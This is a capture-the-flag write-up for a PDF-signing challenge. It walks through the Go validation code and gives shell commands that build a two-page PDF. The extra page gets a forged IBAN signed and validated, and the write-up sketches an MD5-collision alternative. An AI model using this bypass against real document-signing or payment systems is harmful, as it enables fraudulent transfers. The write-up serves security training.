Hacked Account (gold, 200p)

Our highly secure file validation application using digital signatures has been abused.
An attacker managed to upload an illegitimate file containing his bank account details and money was transferred there.
We are unaware how this could have happened since after the file upload, the account details are verified and automatic transfers are done only on re-uploaded verified, signed documents.
We have provided you with code samples from our system, help us trace down this issue.
We have added a check in our development server to look for phrase "broken", which should replace the bank account number line in the signed document.
Generate and submit a pdf file, with the IBAN: broken that passes the all the checks.
Code sample of the application: code_snippets
Development server: http://10.XX.32.136:9000/


The website allows uploading a PDF file and either sign it or validate it.

screenshot of website, sign screenshot of website, validate

An example how to create a PDF file is given in code_snippets.

//We usually generate PDF files for testing with 'cat file.txt | enscript -B -o - | ps2pdf - legitimate.pdf'
//file.txt contents are
Invoice ID: 1337


Service: Money Transfer

Let's create a legitimate.pdf.

$ printf "Invoice ID: 1337\n\nIBAN:\nGB29NWBK60161331926825\n\nService: Money Transfer" > file.txt
$ cat file.txt | enscript -B -o - | ps2pdf - legitimate.pdf

Signing legitimate.pdf results in download of legitimate.pdf.signed. Looks like there is 256 bytes added at the end of file.

$ xxd legitimate.pdf > legitimate.pdf.hex
$ xxd legitimate.pdf.signed  > legitimate.pdf.signed.hex
$ diff -ruN legitimate.pdf.hex legitimate.pdf.signed.hex
--- legitimate.pdf.hex
+++ legitimate.pdf.signed.hex
@@ -404,3 +404,19 @@
 00001930: 3530 4643 4445 4545 4444 3534 3044 3446  50FCDEEEDD540D4F
 00001940: 4433 4635 313e 5d0a 3e3e 0a73 7461 7274  D3F51>].>>.start
 00001950: 7872 6566 0a36 3130 330a 2525 454f 460a  xref.6103.%%EOF.
+00001960: 519b 6873 c48e c79f 2902 123b 2ba4 37ba  Q.hs....)..;+.7.
+00001970: d837 1246 b937 5598 3ce7 754a c4af 3531  .7.F.7U.<.uJ..51
+00001980: 9d21 706e 381b 1016 983d 5aa5 02cc b52f  .!pn8....=Z..../
+00001990: f26a 9017 fc5d cb85 ab11 2928 7d48 f223  .j...]....)(}H.#
+000019a0: 08a0 4c95 f52a f1b2 8ec6 8e7c 3880 9f4c  ..L..*.....|8..L
+000019b0: c8f8 bdc2 fec9 cd24 645e 210f 57fe 766d  .......$d^!.W.vm
+000019c0: 9481 9bd7 19ef 4b4e bc1a c0e9 5acd 150d  ......KN....Z...
+000019d0: 74ec 02de f822 6bba 89b5 ab85 40f1 fc09  t...."k.....@...
+000019e0: 115b 2f1f ff38 59ab 7dfd a557 46a8 62df  .[/..8Y.}..WF.b.
+000019f0: e2d1 c5a5 9505 3127 fbd7 3ec5 99fd 7dc7  ......1'..>...}.
+00001a00: a110 dd6c 66e2 495c 971e c680 c65d 5253  ...lf.I\.....]RS
+00001a10: ec2b 1e3c a8c5 63a3 0a65 0bfc ad74 49e4  .+.<..c..e...tI.
+00001a20: fa9c 686c 3bc1 3adb 212a 0468 12c0 dce4  ..hl;.:.!*.h....
+00001a30: 1709 b789 766e f60a c63f 8c5a 0a3f 3484  ....vn...?.Z.?4.
+00001a40: 6328 e3cb 9881 07e2 edcf f6dd f183 058a  c(..............
+00001a50: 8e59 0926 eba3 f538 3e8f 40c8 0b5e 6dce  .Y.&...8>.@..^m.

Source code supports this. Signature is created by doing md5 of file contents and providing md5 hash to SignatureRSA function, which returns 256 bytes of "signature".

            hash := md5.New()
             byteReader := bytes.NewReader(fileContents)

            if _, err := io.Copy(hash, byteReader); err != nil {
                log.Fatal("Unable to get hash")
            hashInBytes := hash.Sum(nil)[:16]
            signedMessage, err := SignatureRSA(hashInBytes)
            if err != nil {

            if _, err := buf.Write(fileContents); err != nil {

            if _, err := buf.Write(signedMessage); err != nil {

            filename = filepath.Base(handler.Filename) + ".signed"

            w.Header().Set("Content-Disposition", "attachment; filename=" + filename)
            w.Header().Set("Content-Type", r.Header.Get("Content-Type"))
            bReaderDown := bytes.NewReader(buf.Bytes())
            io.Copy(w, bReaderDown)

Signing a document with different IBAN results in "Bank account check failed".

Validating legitimate.pdf.signed returns "Money transfer made to the respective bank account."

Validation happens by reading the last 256 bytes as "signature", calculating md5 of the rest of the document and verifying that md5 hash creates the same "signature". Looks like there is no way to cheat signature checking and valid signature must be provided.

        if len(string(fileContents)) > 256 {
            byteReader := bytes.NewReader(fileContents)
            buf := make([]byte, 256)
            start := byteReader.Len() - 256
            n, _ := byteReader.ReadAt(buf, int64(start))
            signatureBytes := buf[:n]

            byteReader2 := bytes.NewReader(fileContents)
            buf2 := make([]byte, byteReader2.Len() - 256)
            n2, _ := byteReader2.ReadAt(buf2, 0)
            contentBytes := buf2[:n2]

            byteReader3 := bytes.NewReader(contentBytes)
            hash := md5.New()
            if _, err := io.Copy(hash, byteReader3); err != nil {
                log.Fatal("Unable to get hash")
            hashInBytes := hash.Sum(nil)[:16]

            if VerifyRSA(hashInBytes, signatureBytes) {

Looking further in source code reveals how the document is marked ok for signing and ok for validation. The document is looped page by page, and the third row is compared to a specific requirement. Document is signed, if it contains IBAN GB29NWBK60161331926825. Document is validated, if it contains IBAN GB29NWBK60161331926825 or broken and, of course, is signed.

    for pageIndex := 1; pageIndex <= totalPage; pageIndex++ {
        p := r.Page(pageIndex)
        if p.V.IsNull() {
        rows, _ := p.GetTextByRow()
        for _, row := range rows {
            i := 0
            for _, word := range row.Content {
                if i == 2 {
                    if issigned == false {
                        r, _ := regexp.Compile(`^GB\d{2}\s?([0-9a-zA-Z]{4}\s?){4}[0-9a-zA-Z]{2}$`)
                        match := r.FindString(word.S)
                        //Whitelist bank account number, so we don't accidentally transfer to wrong people
                        if match == "GB29NWBK60161331926825" {
                          return "verified", nil
                    } else if issigned == true {
                        r, _ := regexp.Compile(`(^broken$|^GB\d{2}\s?([0-9a-zA-Z]{4}\s?){4}[0-9a-zA-Z]{2}$)`)
                        match := r.FindString(word.S)
                        //Check if those incident responders managed to find the flaw in our code
                        if match == "broken" {
                          return "getflag", nil
                        } else if match == "GB29NWBK60161331926825" {
                          return "verified", nil
                i = i + 1

Vulnerability lies in the fact that multiple pages are being checked. The document will be accepted for signing if one of the pages contain correct IBAN. Other pages can contain anything.

To exploit this, craft a document containing 2 pages, where first contains broken IBAN and second contains correct IBAN, which accepts document for signing.
(added 0c is a form-feed character, marking a page break)

$ printf "Invoice ID: 1337\n\nIBAN:\nbroken\n\nService: Money Transfer" > broken.txt
$ echo 0c | xxd -r -p >> broken.txt
$ printf "Invoice ID: 1337\n\nIBAN:\nGB29NWBK60161331926825\n\nService: Money Transfer" >> broken.txt
$ cat broken.txt | enscript -B -o - | ps2pdf - broken.pdf

Upload it for signing, retrieve broken.pdf.signed. Upload broken.pdf.signed for validation and enjoy the flag.


This challenge can also be solved using md5 collision. Create two documents, one with GB29NWBK60161331926825 IBAN, other with broken IBAN and do a MD5 collision of PDF. Then sign the legitimate document, grab the "signature", add it to document containing broken IBAN and upload for validation. Enjoy the flag.